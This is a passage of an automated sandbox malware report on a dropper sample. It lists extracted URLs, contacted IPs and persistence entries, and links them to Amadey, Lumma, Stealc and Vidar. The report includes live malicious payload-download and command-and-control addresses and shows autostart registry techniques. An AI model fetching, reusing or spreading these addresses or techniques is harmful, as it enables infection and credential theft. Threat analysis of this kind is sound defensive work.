https://anglebug.com/7246	chrome.exe, 00000024.00000002.3102018176.0000581800494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7369	chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7489	chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	false
https://duckduckgo.com/?q=	chrome.exe, 00000024.00000002.3107521338.0000581800C50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3104057220.0000581800790000.00000004.00000800.00020000.00000000.sdmp	false
https://chrome.google.com/webstore	chrome.exe, 00000024.00000002.3105791214.00005818008B0000.00000004.00000800.00020000.00000000.sdmp	false
http://www.entrust.net/rpa03	skotes.exe, 00000006.00000003.2632197505.0000000001401000.00000004.00000020.00020000.00000000.sdmp	false
https://drive-daily-2.corp.google.com/	chrome.exe, 00000024.00000003.2996703135.0000581800488000.00000004.00000800.00020000.00000000.sdmp	false
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000024.00000003.3042303486.000058180075C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3043024193.000058180120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3042923182.0000581801140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3041604153.0000581800F88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3042603680.0000581800310000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3101985702.0000581800488000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3106170589.000058180098F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3041568389.0000581801078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3041346441.0000581800F3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3042342156.0000581800DA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3042239945.0000581800CCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3042274380.0000581800A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3041525811.0000581801028000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3041684922.0000581801044000.00000004.00000800.00020000.00000000.sdmp	false
https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 00000024.00000002.3107423707.0000581800C24000.00000004.00000800.00020000.00000000.sdmp	false
https://docs.google.com/document/u/0/create?usp=chrome_actions7	chrome.exe, 00000024.00000002.3107661873.0000581800C90000.00000004.00000800.00020000.00000000.sdmp	false
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	3907f97605.exe, 0000001F.00000003.2881129128.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 0000001F.00000003.2880484236.0000000005A7F000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 00000028.00000003.3366143322.00000000055BF000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 00000028.00000003.3370186873.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	false
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	3907f97605.exe, 0000001F.00000003.3006443988.0000000005A58000.00000004.00000800.00020000.00000000.sdmp	false
http://www.autoitscript.com/autoit3/X	Ryan.com, 00000012.00000003.2651471245.000002095907F000.00000004.00000001.00020000.00000000.sdmp, Ryan.com, 00000012.00000000.2640965613.00007FF6D8504000.00000002.00000001.01000000.0000000C.sdmp, LionGuard.scr, 0000001E.00000000.2764490200.00007FF6183F4000.00000002.00000001.01000000.0000000F.sdmp, Finish.com, 00000022.00000003.2845100305.0000000004461000.00000004.00000800.00020000.00000000.sdmp, Finish.com, 00000022.00000000.2811378955.0000000000E55000.00000002.00000001.01000000.00000011.sdmp, InnoSphere.scr.34.dr	false
http://ocsp.rootca1.amazontrust.com0:	3907f97605.exe, 0000001F.00000003.2970296962.0000000005A80000.00000004.00000800.00020000.00000000.sdmp	false
https://issuetracker.google.com/161903006	chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	false
https://ace-snapper-privately.ngrok-free.app/test/testFailed	779ae05f2f.exe, 00000007.00000003.2487645168.0000000007452000.00000004.00001000.00020000.00000000.sdmp	false
https://www.ecosia.org/newtab/	3907f97605.exe, 0000001F.00000003.2881129128.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 0000001F.00000003.2880484236.0000000005A7F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 00000028.00000003.3366143322.00000000055BF000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 00000028.00000003.3370186873.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	false
https://drive-daily-1.corp.google.com/	chrome.exe, 00000024.00000003.2996703135.0000581800488000.00000004.00000800.00020000.00000000.sdmp	false
https://drive-daily-5.corp.google.com/	chrome.exe, 00000024.00000003.2996703135.0000581800488000.00000004.00000800.00020000.00000000.sdmp	false
https://duckduckgo.com/favicon.ico	chrome.exe, 00000024.00000002.3107521338.0000581800C50000.00000004.00000800.00020000.00000000.sdmp	false
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 00000024.00000002.3102221646.00005818004F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3103895107.0000581800738000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3109011563.0000581800EFC000.00000004.00000800.00020000.00000000.sdmp	false
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 00000024.00000002.3104136427.00005818007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3101585964.0000581800374000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3103585240.00005818006B8000.00000004.00000800.00020000.00000000.sdmp	false
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347w	779ae05f2f.exe, 00000007.00000003.2691822343.000000000168C000.00000004.00000020.00020000.00000000.sdmp, 779ae05f2f.exe, 00000007.00000003.2691745817.000000000167E000.00000004.00000020.00020000.00000000.sdmp	false
https://chrome.google.com/webstoreX	chrome.exe, 00000024.00000002.3102647848.000058180060C000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3078	chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/7553	chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/5375	chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/5371	chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/4722	chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	false
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000024.00000002.3100729464.00005818001C4000.00000004.00000800.00020000.00000000.sdmp	false
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 00000024.00000002.3102221646.00005818004F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3103895107.0000581800738000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3109011563.0000581800EFC000.00000004.00000800.00020000.00000000.sdmp	false
https://www.google.com/images/branding/product/ico/googleg_lodp.icoresent.	chrome.exe, 00000024.00000002.3107387075.0000581800C0C000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/7556	chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	false
https://chromewebstore.google.com/	chrome.exe, 00000024.00000002.3099830860.000058180000C000.00000004.00000800.00020000.00000000.sdmp	false
https://drive-preprod.corp.google.com/	chrome.exe, 00000024.00000003.2996703135.0000581800488000.00000004.00000800.00020000.00000000.sdmp	false
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	3907f97605.exe, 0000001F.00000003.2896455567.0000000005A80000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 00000028.00000003.3386571169.00000000055C0000.00000004.00000800.00020000.00000000.sdmp	false
https://drive-daily-3.corp.googlP8	chrome.exe, 00000024.00000002.3101618695.0000581800384000.00000004.00000800.00020000.00000000.sdmp	false
https://clients4.google.com/chrome-sync	chrome.exe, 00000024.00000002.3100729464.00005818001C4000.00000004.00000800.00020000.00000000.sdmp	false
http://crl.entrust.net/2048ca.crl0	skotes.exe, 00000006.00000003.2632197505.0000000001401000.00000004.00000020.00020000.00000000.sdmp	false
http://31.41.244.11/files/6856384433/fMb18eF.exeXYZ0123456789	skotes.exe, 00000006.00000003.2632197505.0000000001401000.00000004.00000020.00020000.00000000.sdmp	false
http://anglebug.com/7036a	chrome.exe, 00000024.00000002.3102018176.0000581800494000.00000004.00000800.00020000.00000000.sdmp	false
http://html4/loose.dtd	779ae05f2f.exe, 00000007.00000003.2487645168.0000000007452000.00000004.00001000.00020000.00000000.sdmp	false
http://unisolated.invalid/a	chrome.exe, 00000024.00000002.3106246308.0000581800998000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/6692	chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	false
https://issuetracker.google.com/258207403	chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3502	chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3623	chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3625	chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3624	chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	false
https://docs.google.com/presentation/J	chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/5007	chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3102569851.00005818005DC000.00000004.00000800.00020000.00000000.sdmp	false
https://chrome.google.com/webstorekgejglhpjiefppelpmljglcjbhoiplfn	chrome.exe, 00000024.00000002.3099830860.000058180000C000.00000004.00000800.00020000.00000000.sdmp	false
https://drive.google.com/drive/installwebapp?usp=chrome_default	chrome.exe, 00000024.00000003.3040322237.0000581800358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035226903.0000581800358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3101518675.0000581800358000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3862	chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	false
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000024.00000002.3101684919.00005818003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3037356148.0000581800CCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3101209664.00005818002C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3036239587.0000581800D10000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107841915.0000581800CE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3101618695.0000581800384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3036129936.0000581800CCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107775780.0000581800CDF000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3043289274.0000581800D10000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107739686.0000581800CCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3105791214.00005818008B0000.00000004.00000800.00020000.00000000.sdmp	false
https://www.ecosia.org/search?q=&addon=opensearch	chrome.exe, 00000024.00000002.3107423707.0000581800C24000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/4836	chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	false
https://issuetracker.google.com/issues/166475273	chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107423707.0000581800C24000.00000004.00000800.00020000.00000000.sdmp	false
http://.css	779ae05f2f.exe, 00000007.00000003.2487645168.0000000007452000.00000004.00001000.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.21.33.116	property-imper.sbs	United States	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.116.198.130	home.fvtekk5pn.top	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561837
Start date and time:	2024-11-24 12:22:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 16m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	72
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.mine.winEXE@125/134@32/9
EGA Information:	Successful, ratio: 37.5%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 74.125.205.84, 172.217.19.238, 23.218.210.69, 2.20.41.214, 34.104.35.123, 52.168.117.173, 172.217.17.78, 88.221.134.155, 88.221.134.209, 20.189.173.24, 172.217.19.234, 142.250.181.74, 142.250.181.42, 172.217.19.10, 172.217.17.42, 142.250.181.106, 142.250.181.10, 172.217.21.42, 172.217.17.74, 142.250.181.138, 172.217.19.202, 13.74.129.1, 204.79.197.237, 13.107.21.237, 172.217.17.35, 20.189.173.18, 23.32.239.25, 23.32.239.82, 20.42.73.29, 172.217.19.206
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, slscr.update.microsoft.com, spocs.getpocket.com, clientservices.googleapis.com, browser.events.data.trafficmanager.net, aus5.mozilla.org, learn.microsoft.com, e11290.dspg.akamaiedge.net, a19.dscg10.akamai.net, clients2.google.com, ocsp.digicert.com, us-west1.prod.sumo.prod.webservices.mozgcp.net, login.live.com, ipv4only.arpa, star-azurefd-prod.trafficmanager.net, firefox.settings.services.mozilla.com, learn.microsoft.com.edgekey.net, onedsblobprdeus15.eastus.cloudapp.azure.com, prod.ads.prod.webservices.mozgcp.net, update.googleapis.com, www.youtube.com, star-mini.c10r.facebook.com, prod.balrog.prod.cloudops.mozgcp.net, fs.microsoft.com, shavar.prod.mozaws.net, content-autofill.googleapis.com, c-bing-com.dual-a-0034.a-msedge.net, detectportal.firefox.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, dyna.wikimedia.org, youtube-ui.l.google.com, reddit.map.fastly.net, edgedl.me.gvt1.com, c.bing.com, blobcollec
Execution Graph export aborted for target 3907f97605.exe, PID 7488 because there are no executed function
Execution Graph export aborted for target 779ae05f2f.exe, PID 7908 because there are no executed function
Execution Graph export aborted for target file.exe, PID 4124 because it is empty
Execution Graph export aborted for target skotes.exe, PID 3916 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 4320 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
06:24:02	API Interceptor	136278x Sleep call for process: skotes.exe modified
06:24:31	API Interceptor	1x Sleep call for process: fMb18eF.exe modified
06:24:38	API Interceptor	1x Sleep call for process: QwGWuQZ.exe modified
06:24:49	API Interceptor	131475x Sleep call for process: 779ae05f2f.exe modified
06:24:53	API Interceptor	43668x Sleep call for process: 3907f97605.exe modified
06:24:57	API Interceptor	67x Sleep call for process: Finish.com modified
06:25:13	API Interceptor	17x Sleep call for process: Ryan.com modified
06:25:26	API Interceptor	33x Sleep call for process: LionGuard.scr modified
06:25:36	API Interceptor	955x Sleep call for process: 3ee5495637.exe modified
11:22:59	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
11:24:37	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LionGuard.url
11:24:57	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 3907f97605.exe C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe
11:25:07	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 3ee5495637.exe C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe
11:25:20	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 04dc07bf76.exe C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe
11:25:33	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run c7f41aa061.exe C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe
11:25:44	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 3907f97605.exe C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe
11:25:52	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 3ee5495637.exe C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe
11:26:02	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 04dc07bf76.exe C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe
11:26:14	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run c7f41aa061.exe C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe
11:26:30	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoSphere.url
11:27:23	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, JasonRAT, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.16	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, JasonRAT, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
services.addons.mozilla.org	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
property-imper.sbs	file.exe	Get hash	malicious	Unknown	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, JasonRAT, LummaC Stealer, Stealc, Vidar	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
home.fvtekk5pn.top	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	34.116.198.130
	file.exe	Get hash	malicious	Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, JasonRAT, LummaC Stealer, Stealc, Vidar	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
